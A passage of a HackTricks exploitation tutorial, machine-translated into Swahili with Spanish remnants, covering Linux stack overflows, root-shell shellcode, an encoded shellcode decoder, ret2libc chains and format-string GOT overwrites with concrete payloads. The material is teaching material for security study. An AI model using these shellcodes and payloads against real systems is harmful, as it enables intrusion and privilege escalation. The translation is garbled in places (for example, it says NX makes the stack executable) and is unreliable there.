hacktricks/exploiting/linux-exploiting-basic-esp/README.md

959 lines
56 KiB
Markdown
Raw Normal View History

# Kudukua Linux (Msingi) (SPA)
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-30 10:12:47 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
## **1.STACK OVERFLOWS**
> kujaa kwa buffer, kuvuja kwa buffer, kujaa kwa steki, kuharibu steki
Fallo de segmentación o violación de segmento: Wakati jaribio la kupata anwani ya kumbukumbu ambayo haijatengwa kwa mchakato.
Ili kupata anwani ya kazi ndani ya programu, unaweza kufanya:
```
objdump -d ./PROGRAMA | grep FUNCION
```
2022-05-01 13:25:53 +00:00
## ROP
2024-02-11 02:13:58 +00:00
### Wito kwa sys\_execve
{% content-ref url="rop-syscall-execv.md" %}
[rop-syscall-execv.md](rop-syscall-execv.md)
{% endcontent-ref %}
2020-12-30 00:28:59 +00:00
2022-05-01 13:25:53 +00:00
## **2.SHELLCODE**
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
2022-02-28 09:13:08 +00:00
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
2024-02-11 02:13:58 +00:00
xor eax, eax ; safisha eax\
xor ebx, ebx ; ebx = 0 hakuna argumento ya kupitisha\
2022-02-28 09:13:08 +00:00
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
2024-02-11 02:13:58 +00:00
int 0x80 ; Tekeleza syscall
2024-02-11 02:13:58 +00:00
**nasm -f elf assembly.asm** —> Inarudi .o\
**ld assembly.o -o shellcodeout** —> Inatoa faili inayoweza kutekelezwa kutoka kwa msururu wa assembler na tunaweza kupata opcodes na **objdump**\
2024-02-11 02:13:58 +00:00
**objdump -d -Mintel ./shellcodeout** —> Ili kuona kwamba ni shellcode yetu na kupata OpCodes
**Thibitisha kuwa shellcode inafanya kazi**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
2024-02-11 02:13:58 +00:00
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Ili kuhakikisha wito wa mfumo unafanywa kwa usahihi, lazima ucompile programu iliyopita na wito wa mfumo unapaswa kuonekana katika **strace ./PROGRAMA\_COMPILADO**
Wakati wa kuunda shellcodes, unaweza kutumia hila. Maagizo ya kwanza ni jump kwenda kwa wito. Wito unaita msimbo wa asili na pia huingiza EIP kwenye stack. Baada ya maagizo ya wito tumeweka string tunayohitaji, kwa hivyo na EIP hiyo tunaweza kuelekeza kwa string na kuendelea kutekeleza msimbo.
2024-02-11 02:13:58 +00:00
EJ **HILA (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
2024-02-11 02:13:58 +00:00
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**Kutumia Stack(/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
2024-02-11 02:13:58 +00:00
**Mwindaji wa Yai:**
Inahusisha nambari ndogo inayopitia kurasa za kumbukumbu zinazohusiana na mchakato kutafuta shellcode iliyohifadhiwa hapo (inatafuta saini fulani iliyojumuishwa kwenye shellcode). Inatumika katika hali ambapo kuna nafasi ndogo tu ya kuingiza nambari.
**Shellcodes za Polimorphic**
Hizi ni shellcodes zilizofichwa ambazo zina nambari ndogo za kuzifichua na kuzinduka kwake, zikitumia mbinu ya Kuita-Pop hii itakuwa **mfano wa kificho kilichofichwa cha Caesar**:
```
global _start
_start:
2024-02-11 02:13:58 +00:00
jmp short magic
init:
2024-02-11 02:13:58 +00:00
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
2024-02-11 02:13:58 +00:00
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
2024-02-11 02:13:58 +00:00
call init
sc:
2024-02-11 02:13:58 +00:00
;Aquí va el shellcode
```
1. **Kushambulia Kiashiria cha Fremu (EBP)**
Inatumika katika hali ambapo tunaweza kuhariri EBP lakini si EIP.
Inajulikana kwamba unapomaliza kazi ya kazi, msimbo wa assembler ufuatao hutekelezwa:
```
movl %ebp, %esp
popl %ebp
ret
```
Kwa njia hii, EBP inaweza kubadilishwa wakati wa kutoka kwenye kazi (fvuln) ambayo imeitwa na kazi nyingine, wakati kazi iliyomwita fvuln itakapomaliza, EIP yake inaweza kubadilishwa.
Katika fvuln, unaweza kuingiza EBP bandia inayoashiria mahali ambapo anwani ya shellcode iko + 4 (inapaswa kuongezwa 4 kwa pop). Kwa hivyo, wakati wa kutoka kwenye kazi, thamani ya &(\&Shellcode)+4 itawekwa kwenye ESP, na pop itapunguza 4 kutoka ESP na itaashiria kwa anwani ya shellcode wakati ret inatekelezwa.
**Exploit:**\
2024-02-11 02:13:58 +00:00
\&Shellcode + "AAAA" + SHELLCODE + kujaza + &(\&Shellcode)+4
2024-02-11 02:13:58 +00:00
**Exploit ya Off-by-One**\
Inaruhusu kubadilisha tu byte usio na maana zaidi ya EBP. Inaweza kutekelezwa kama shambulio hapo juu lakini kumbukumbu inayoshikilia anwani ya shellcode lazima iwe na byte 3 za kwanza zinazoshirikiana na EBP.
## **4. Mbinu za kurudi kwa Libc**
Mbinu inayofaa wakati stack haiwezi kutekelezwa au inaacha buffer ndogo sana ya kubadilisha.
ASLR husababisha kazi kila wakati kubebwa kwenye nafasi tofauti za kumbukumbu kila wakati. Kwa hivyo mbinu hii inaweza kutofaulu katika kesi hiyo. Kwa seva za mbali, kama programu inatekelezwa mara kwa mara kwa anwani ile ile inaweza kuwa na manufaa.
* **cdecl(C declaration)** Inaweka hoja kwenye stack na baada ya kutoka kwenye kazi hufuta stack
* **stdcall(standard call)** Inaweka hoja kwenye stack na ni kazi iliyopigwa simu ambayo hufuta stack
2024-02-11 02:13:58 +00:00
* **fastcall** Inaweka hoja mbili za kwanza kwenye rejista na zingine kwenye stack
Anwani ya maelekezo ya mfumo wa libc inawekwa na string "bin/sh", kawaida kutoka kwa mazingira ya kivinjari. Zaidi ya hayo, anwani ya kazi ya exit hutumiwa ili mara tu shell itakapokuwa haifai tena, programu itoke bila shida (na kuandika magogo).
**export SHELL=/bin/sh**
2024-02-11 02:13:58 +00:00
Ili kupata anwani zinazohitajika, unaweza kutazama ndani ya **GDB:**\
**p system**\
**p exit**\
**rabin2 -i executable** —> Inatoa anwani ya kila kazi inayotumiwa na programu wakati wa kupakia\
(Katika mwanzo au kizuizi chochote): **x/500s $esp** —> Tunatafuta hapa string /bin/sh
Maratibu haya ya kushambulia yatakuwa:
"A" \* UMBALI EBP + 4 (EBP: inaweza kuwa "A" 4 ingawa bora ikiwa ni EBP halisi kuepuka makosa ya segfault) + Anwani ya **system** (itapindua EIP) + Anwani ya **exit** (baada ya kutoka kwa system(“/bin/sh”) hii itaita kazi hivyo byte za kwanza 4 za stack zinachukuliwa kama anwani inayofuata ya EIP itakayotekelezwa) + Anwani ya “**/bin/sh**” (itakuwa parameter iliyopitishwa kwa mfumo)
Kwa njia hii, EIP itapinduliwa na anwani ya mfumo ambayo itapokea kama parameter string “/bin/sh” na baada ya kutoka kwa hii itatekeleza kazi ya exit().
Inawezekana kukutana na hali ambapo byte moja ya anwani ya kazi ni tupu au nafasi (\x20). Katika kesi hiyo, unaweza kuchambua anwani zilizotangulia kwa kazi hiyo kwani labda kuna NOPs kadhaa ambazo zinaweza kuturuhusu kuita moja yao badala ya kazi moja kwa moja (kwa mfano na > x/8i system-4).
Mbinu hii inafanya kazi kwa sababu kuita kazi kama mfumo kwa kutumia opcode **ret** badala ya **call**, kazi inaelewa kuwa byte za kwanza 4 zitakuwa anwani ya **EIP** ya kurudi.
Mbinu ya kuvutia na mbinu hii ni kuita **strncpy()** kusonga mzigo kutoka kwenye stack hadi kwenye heap na baadaye kutumia **gets()** kutekeleza mzigo huo.
Mbinu nyingine ya kuvutia ni matumizi ya **mprotect()** ambayo inaruhusu kutoa ruhusa zinazohitajika kwa sehemu yoyote ya kumbukumbu. Inafanya kazi au ilifanya kazi kwa BDS, MacOS na OpenBSD, lakini sio kwa linux (inadhibiti kwamba ruhusa za kuandika na kutekeleza haziwezi kutolewa wakati huo huo). Kwa shambulio hili, unaweza kurejesha stack kama kutekelezeka.
**Unganisho wa kazi**
Kulingana na mbinu iliyotangulia, njia hii ya kushambulia inajumuisha:\
Kujaza + \&Function1 + \&pop;ret; + \&arg\_fun1 + \&Function2 + \&pop;ret; + \&arg\_fun2 + …
Kwa njia hii, unaweza kuunganisha kazi za kuita. Zaidi, ikiwa unataka kutumia kazi na hoja nyingi, unaweza kuweka hoja zinazohitajika (k.m. 4) na kuweka hoja 4 na kutafuta anwani kwenye tovuti na opcodes: pop, pop, pop, pop, ret —> **objdump -d executable**
**Unganisho kupitia kuficha fremu (unganisho wa EBPs)**
Inahusisha kutumia uwezo wa kubadilisha EBP ili kuendeleza utekelezaji wa kazi kadhaa kupitia EBP na "leave;ret"
KUJAZA
* Weka EBP bandia inayoashiria: 2nd EBP\_bandia + kazi ya kutekelezwa: (\&system() + \&leave;ret + &“/bin/sh”)
* Katika EIP, weka anwani ya kazi &(leave;ret)
Anza shellcode na anwani ya sehemu inayofuata ya shellcode, kwa mfano: 2ndEBP\_bandia + \&system() + &(leave;ret;) + &”/bin/sh”
2ndEBP itakuwa: 3rdEBP\_bandia + \&system() + &(leave;ret;) + &”/bin/ls”
Shellcode hii inaweza kurudiwa bila kikomo kwenye sehemu za kumbukumbu ambazo unaweza kupata kwa urahisi shellcode inayoweza kugawanywa kwa vipande vidogo vya kumbukumbu.
(Unganisho wa utekelezaji wa kazi kwa kuchanganya udhaifu ulioonekana hapo awali wa EBP na ret2lib)
## **5. Mbinu za ziada**
2022-04-28 23:27:22 +00:00
**Ret2Ret**
Inafaa wakati huwezi kuweka anwani ya stack kwenye EIP (inathibitisha kuwa EIP hauna 0xbf) au wakati huwezi kuhesabu mahali pa shellcode. Lakini, kazi inayoweza kudhurika inakubali parameter (shellcode itakuwa hapa).
2024-02-11 02:13:58 +00:00
Kwa njia hii, kwa kubadilisha EIP na anwani ya **ret**, itapakia anwani inayofuata (ambayo ni anwani ya hoja ya kwanza ya kazi). Yaani, itapakia shellcode.
Exploit itakuwa: SHELLCODE + Kujaza (hadi EIP) + **\&ret** (byte zinazofuata za stack zinaelekeza mwanzo wa shellcode kwa sababu anwani ya parameter iliyopitishwa imewekwa kwenye stack)
Inaonekana kazi kama **strncpy** mara tu zinapokamilika zinaondoa kutoka kwa stack anwani ambapo shellcode ilikuwa imehifadhiwa ikizuia mbinu hii. Yaani, anwani wanayopitisha kama hoja kwa kazi (ile inayohifadhi shellcode) inabadilishwa na 0x00 kwa hivyo wakati wa kuita **ret** ya pili inakutana na 0x00 na programu inakufa.
```
2024-02-11 02:13:58 +00:00
**Ret2PopRet**
```
**Técnica ya Murat**
Katika Linux, programu zote zinaanza kwenye 0xbfffffff
Kwa kuangalia jinsi mchakato mpya unavyojengwa kwenye Linux, unaweza kuendeleza exploit ili programu ianze katika mazingira ambayo ina variable moja tu, shellcode. Kisha unaweza kuhesabu anwani ya hii kama: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode)
Hivyo, unaweza kupata kwa urahisi anwani ambapo variable ya mazingira na shellcode iko.
Hii inawezekana kwa sababu execle inaruhusu kuunda mazingira ambayo ina variables za mazingira zinazohitajika tu.
**Kuruka kwenda ESP: Mtindo wa Windows**
Kwa kuwa ESP inalenga mwanzo wa stack daima, hii technique inahusisha kubadilisha EIP na anwani ya wito wa **jmp esp** au **call esp**. Hivyo, shellcode inahifadhiwa baada ya kuandika upya EIP kwa sababu baada ya kutekeleza **ret** ESP itakuwa inalenga anwani inayofuata, mahali ambapo shellcode imehifadhiwa.
Ikiwa ASLR haipo kwenye Windows au Linux, unaweza kuita **jmp esp** au **call esp** zilizohifadhiwa kwenye kitu kinachoshirikishwa. Ikiwa ASLR iko, unaweza kutafuta ndani ya programu yenye hitilafu.
Zaidi ya hayo, uwezo wa kuweka shellcode baada ya kuharibu EIP badala ya katikati ya stack, inaruhusu maagizo ya push au pop yanayotekelezwa katikati ya kazi kutofikia shellcode (jambo ambalo lingeweza kutokea ikiwa ingewekwa katikati ya stack ya kazi).
Kwa njia sawa na hii, ikiwa tunajua kwamba kuna kazi inarudisha anwani ambapo shellcode imehifadhiwa, unaweza kuita **call eax** au **jmp eax (ret2eax).**
**Kujaa kwa Nambari:**
Aina hii ya kujaa hufanyika wakati variable haijajiandaa kushughulikia nambari kubwa kama ile inayopitishwa, labda kutokana na mkanganyiko kati ya variables zenye ishara na zisizo na ishara, kwa mfano:
2020-11-28 20:03:33 +00:00
```c
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
2020-11-28 20:03:33 +00:00
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
2020-11-28 20:03:33 +00:00
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
2020-11-28 20:03:33 +00:00
printf("\nIntento de hack\n");
return 0;
}
```
Katika mfano uliopita tunaona kuwa programu inatarajia vigezo 2. Ya kwanza ni urefu wa string inayofuata na ya pili ni string yenyewe.
Ikiwa tunaweka nambari hasi kama kigezo cha kwanza, itasema kuwa len < 256 na tutapita kizuizi hicho, na pia strlen(buffer) itakuwa ndogo kuliko l, kwani l ni unsigned int na itakuwa kubwa sana.
Aina hii ya overflows haikusudiwi kuandika kitu katika mchakato wa programu, bali kuzidi kizuizi kilichopangwa vibaya ili kutumia mapungufu mengine.
**Variables not initialized**
Haijulikani thamani ambayo inaweza kuchukua kwa kigezo ambacho hakijaanzishwa na inaweza kuwa ya kuvutia kuichunguza. Inaweza kuchukua thamani ambayo kigezo cha kazi ya awali kilichukua na hii inaweza kudhibitiwa na mshambuliaji.
2022-05-01 13:25:53 +00:00
## **Format Strings**
Katika C **`printf`** ni kazi inayoweza kutumika kwa **kuchapisha** string fulani. **Kigezo cha kwanza** kinachotarajiwa na kazi hii ni **maandishi safi na formatters**. **Vigezo vinavyofuata** vinavyotarajiwa ni **thamani** za **kuchukua nafasi** ya **formatters** kutoka kwa maandishi safi.
Udhaifu unaonekana wakati **maandishi ya mshambuliaji yanawekwa kama hoja ya kwanza** kwa kazi hii. Mshambuliaji ataweza kutengeneza **kuingiza maalum kwa kudanganya** uwezo wa **formati ya printf** ya **kuandika data yoyote kwenye anwani yoyote**. Kwa njia hii, wakati huo huo kuweza **kutekeleza kanuni za aina yoyote**.
Formatters:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**`%n`** **huiandika** **idadi ya** **baiti zilizoandikwa** kwenye **anwani iliyotajwa. Kuandika** idadi **ya** baiti **kama vile namba ya hex** tunayohitaji **kuandika ndivyo unaweza** kuandika data yoyote**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
2024-02-11 02:13:58 +00:00
### GOT (Global Offsets Table) / PLT (Procedure Linkage Table)
Hii ni meza inayoitwa **anwani** kwa **kazi za nje** zinazotumiwa na programu.
Pata anwani ya meza hii na: **`objdump -s -j .got ./exec`**
![](<../../.gitbook/assets/image (619).png>)
Tazama jinsi baada ya **kuweka** **kutekelezeka** katika GEF unaweza **kuona** **kazi** zilizo kwenye **GOT**: `gef➤ x/20x 0xDIR_GOT`
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
Kwa kutumia GEF unaweza **kuanza** kikao cha **debugging** na kutekeleza **`got`** kuona meza ya got:
2021-03-22 00:35:56 +00:00
![](<../../.gitbook/assets/image (621).png>)
2021-03-22 11:21:45 +00:00
Katika binary, GOT ina **anwani za kazi au** kwa sehemu ya **PLT** ambayo itapakia anwani ya kazi. Lengo la shambulio hili ni **kubadilisha kuingia kwa GOT** ya kazi ambayo itatekelezwa baadaye **na** anwani ya PLT ya **kazi ya `system`**. Kimsingi, uta **badilisha** GOT ya **kazi** ambayo **itaitwa na parameta zinazodhibitiwa na wewe** (hivyo utaweza kudhibiti parameta zinazotumwa kwa kazi ya mfumo).
2021-03-22 11:21:45 +00:00
Ikiwa **`system`** **haitumiwi** na script, kazi ya mfumo **haitakuwa na kuingia** katika GOT. Katika hali hii, utahitaji **kuvuja kwanza anwani** ya kazi ya `system`.
2021-03-22 11:21:45 +00:00
**Procedure Linkage Table** ni meza **isiyoweza kuhaririwa** katika faili ya ELF inayohifadhi alama zote muhimu **zinazohitaji ufumbuzi**. Wakati moja ya kazi hizi inaitwa, **GOT** ita **elekeza** **mzunguko** kwa **PLT** ili iweze **kufumbua** **anwani** ya kazi na kuandika kwenye GOT.\
Kisha, **wakati ujao** wito unafanywa kwa anwani hiyo **kazi** inaitwa moja kwa moja **bila** kuhitaji kufumbua.
2021-03-22 10:43:33 +00:00
2024-02-11 02:13:58 +00:00
Unaweza kuona anwani za PLT na **`objdump -j .plt -d ./vuln_binary`**
2021-03-22 10:43:33 +00:00
2024-02-11 02:13:58 +00:00
### **Mzunguko wa Shambulio**
Kama ilivyoelezwa awali lengo litakuwa **kubadilisha** **anwani** ya **kazi** katika meza ya **GOT** ambayo itaitwa baadaye. Kimsingi tunaweza kuweka **anwani kwa shellcode** iliyoko katika sehemu ya kutekelezeka, lakini ni uwezekano mdogo utaweza kuandika shellcode katika sehemu ya kutekelezeka.\
Kwa hivyo chaguo lingine ni **kubadilisha** **kazi** ambayo **inapokea** **vigezo vyake** kutoka kwa **mtumiaji** na **kuielekeza** kwa **kazi ya `system`**.
Kuandika anwani, kawaida hatua 2 hufanywa: Un **anza kwa kuandika 2Bytes** ya anwani na kisha nyingine 2. Kufanya hivyo **`$hn`** hutumiwa.
**HOB** inaitwa kwa 2 bytes za juu za anwani\
**LOB** inaitwa kwa 2 bytes za chini za anwani
Kwa hivyo, kwa sababu ya jinsi format string inavyofanya kazi unahitaji **kuandika kwanza kidogo** kati ya \[HOB, LOB] na kisha nyingine.
2024-02-11 02:13:58 +00:00
Ikiwa HOB < LOB\
`[anwani+2][anwani]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
2024-02-11 02:13:58 +00:00
Ikiwa HOB > LOB\
`[anwani+2][anwani]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
2022-02-28 09:13:08 +00:00
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
2024-02-11 02:13:58 +00:00
### **Kigezo cha Shambulio cha Format String**
Unaweza kupata **kigezo** cha kushambulia GOT kwa kutumia format-strings hapa:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
2022-05-01 13:25:53 +00:00
### **.fini\_array**
Kimsingi hii ni muundo na **kazi ambazo zitaitwa** kabla ya programu kukamilika. Hii ni ya kuvutia ikiwa unaweza kuita **shellcode yako kwa kuruka kwa anwani**, au katika hali ambapo unahitaji kurudi kwa main tena **kushambulia format string mara ya pili**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
2024-02-11 02:13:58 +00:00
8049934 a0850408
#Put your address in 0x8049934
```
Tafadhali kumbuka kwamba hii **haitasababisha** **mwanya wa milele** kwa sababu unaporudi kwenye kipengele kuu, canary atagundua, mwisho wa steki unaweza kuharibiwa na kazi haitaitwa tena. Kwa hivyo, utaweza **kuwa na utekelezaji mwingine 1** wa mwanya.
### **Fomati za String ili Kudumpisha Yaliyomo**
Fomati ya string inaweza kutumika pia kudumpisha yaliyomo kutoka kwenye kumbukumbu ya programu.\
Kwa mfano, katika hali ifuatayo kuna **variable ya ndani kwenye steki inayoelekeza kwenye bendera.** Ikiwa **utapata** mahali **kwenye kumbukumbu** ambapo **ishara** ya **bendera** iko, unaweza kufanya **printf kufikia** anwani hiyo na **kuchapisha** bendera:
Kwa hivyo, bendera iko **0xffffcf4c**
![](<../../.gitbook/assets/image (618) (2).png>)
Na kutoka kwa uvujaji unaweza kuona **ishara ya bendera** iko kwenye **parameta ya 8**:
![](<../../.gitbook/assets/image (623).png>)
Kwa hivyo, **ukifikia parameta ya 8** unaweza kupata bendera:
![](<../../.gitbook/assets/image (624).png>)
Tafadhali kumbuka baada ya **kutumia mwanya wa awali** na kugundua unaweza **kuvuja yaliyomo** unaweza **kuweka ishara** kwa **`printf`** kwenye sehemu ambapo **kutekelezeka** ime **pakia** na **kudump** kabisa!
2022-05-01 13:25:53 +00:00
### **DTOR**
{% hint style="danger" %}
Leo ni nadra sana **kupata binary na sehemu ya dtor**.
{% endhint %}
Waharibifu ni kazi ambazo **hutekelezwa kabla ya programu kukamilika**.\
Ikiwa unaweza **kuandika** anwani ya **shellcode** kwenye **`__DTOR_END__`** , hiyo itatekelezwa kabla ya programu kukamilika.\
Pata anwani ya sehemu hii na:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Kawaida utapata sehemu ya **DTOR** **kati ya** thamani `ffffffff` na `00000000`. Kwa hivyo ikiwa unaona thamani hizo tu, inamaanisha kwamba **hakuna kazi iliyosajiliwa**. Kwa hivyo **badilisha** **`00000000`** na **anwani** ya **shellcode** ili kuitekeleza.
### **Mifumo ya Format Strings kwa Buffer Overflows**
**sprintf inahamisha** string iliyopangwa **kwa** **variable.** Kwa hivyo, unaweza kutumia **upangaji** wa string kusababisha **buffer overflow kwenye variable** ambapo maudhui yanakopwa.\
Kwa mfano, payload `%.44xAAAA` itaandika **44B+"AAAA" kwenye variable**, ambayo inaweza kusababisha buffer overflow.
2024-02-11 02:13:58 +00:00
### **Miundo ya \_\_atexit**
{% hint style="danger" %}
Leo ni **kigeni kuitumia hii**.
{% endhint %}
**`atexit()`** ni kazi ambayo **kazi zingine hupitishwa kama parameta.** Hizi **kazi** zitatekelezwa wakati wa kutekeleza **`exit()`** au **kurudi** kwa **msingi**.\
Ikiwa unaweza **kubadilisha** **anwani** ya mojawapo ya hizi **kazi** ili ielekee shellcode kwa mfano, utapata **udhibiti** wa **mchakato**, lakini hii ni ngumu zaidi kwa sasa.\
Kwa sasa **anwani za kazi** zitakazotekelezwa zimefichwa nyuma ya miundo kadhaa na mwishowe anwani ambayo inaelekezwa sio anwani za kazi, bali zime **fichwa kwa XOR** na kuhama na **ufunguo wa nasibu**. Kwa hivyo kwa sasa njia hii ya shambulio **si ya kufaa sana angalau kwenye x86** na **x64\_86**.\
Kazi ya **ufichaji** ni **`PTR_MANGLE`**. **Miundo mingine** kama m68k, mips32, mips64, aarch64, arm, hppa... **hawatekelezi kazi ya ufichaji** kwa sababu **inarejesha sawa** na ilivyopokea kama kuingia. Kwa hivyo miundo hii inaweza kushambuliwa kupitia njia hii.
2022-05-01 13:25:53 +00:00
### **setjmp() & longjmp()**
{% hint style="danger" %}
Leo ni **kigeni kuitumia hii**.
{% endhint %}
2024-02-11 02:13:58 +00:00
**`Setjmp()`** inaruhusu **kuhifadhi** **muktadha** (registri)\
**`longjmp()`** inaruhusu **kurudisha** **muktadha**.\
Registri zilizohifadhiwa ni: `EBX, ESI, EDI, ESP, EIP, EBP`\
Kile kinachotokea ni kwamba EIP na ESP hupitishwa na **kazi ya `PTR_MANGLE`**, kwa hivyo **usalama wa miundo hii ni sawa na hapo juu**.\
Ni muhimu kwa kupona kosa au kuingilia kati.\
Walakini, kutokana na nilichosoma, registri zingine hazilindwi, **kwa hivyo ikiwa kuna `call ebx`, `call esi` au `call edi`** ndani ya kazi inayoitwa, udhibiti unaweza kuchukuliwa. Au unaweza pia kubadilisha EBP kubadilisha ESP.
2024-02-11 02:13:58 +00:00
**VTable na VPTR katika C++**
2024-02-11 02:13:58 +00:00
Kila darasa lina **Vtable** ambayo ni safu ya **pointa kwa njia**.
Kila kitu cha **darasa** kina **VPtr** ambayo ni **pointa** kwa safu ya darasa yake. VPtr ni sehemu ya kichwa cha kila kitu, kwa hivyo ikiwa **ubadilishaji** wa **VPtr** unafanikiwa inaweza **kubadilishwa** ili **ielekee** kwa njia bandia ili kutekeleza kazi iende kwenye shellcode.
2024-02-11 02:13:58 +00:00
## **Hatua za Kuzuia na Kuepuka**
**Kurudi-ndani-printf**
Ni mbinu ya kugeuza buffer overflow kuwa kosa la string ya formati. Inahusisha kubadilisha EIP ili ielekee printf ya kazi na kumpa kama hoja string ya formati iliyodhibitiwa ili kupata thamani kuhusu hali ya mchakato.
2024-02-11 02:13:58 +00:00
**Shambulio kwa Maktaba**
Maktaba ziko kwenye nafasi na bits 16 za nasibu = anwani 65636 za uwezekano. Ikiwa seva inayoweza kushambuliwa inaita fork() nafasi ya anwani ya kumbukumbu inaiga katika mchakato wa mtoto na inabaki bila kuguswa. Kwa hivyo unaweza kujaribu kufanya nguvu ya brute kwa kazi ya usleep() ya libc ukimpa "16" kama hoja ili wakati itachukua muda mrefu kuliko kawaida kujibu, kazi hiyo itakuwa imepatikana. Ukiwa unajua wapi kazi hiyo iko unaweza kupata delta\_mmap na kuhesabu zingine.
Njia pekee ya kuhakikisha kuwa ASLR inafanya kazi ni kutumia muundo wa 64bits. Hapo hakuna mashambulio ya nguvu ya brute.
2022-05-01 13:25:53 +00:00
### Relro
2021-09-26 15:10:12 +00:00
**Relro (Usogezaji wa Kusoma tu)** inaathiri ruhusa ya kumbukumbu sawa na NX. Tofauti ni wakati NX inafanya stack iweze kutekelezwa, RELRO inafanya **vitu fulani viwe vya kusoma tu** hivyo hatuwezi kuandika kwao. Njia ya kawaida niliyoona hii kuwa kizuizi ni kuzuia kutufanya **`got` table overwrite**, ambayo itajadiliwa baadaye. Jedwali la `got` linashikilia anwani za kazi za libc ili programu ijue anwani ni zipi na iweze kuzipiga. Hebu tuone ruhusa ya kumbukumbu inaonekanaje kwa kuingia la jedwali la `got` kwa programu na bila relro.
2021-09-26 15:10:12 +00:00
Pamoja na relro:
2021-09-26 15:10:12 +00:00
```bash
gef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
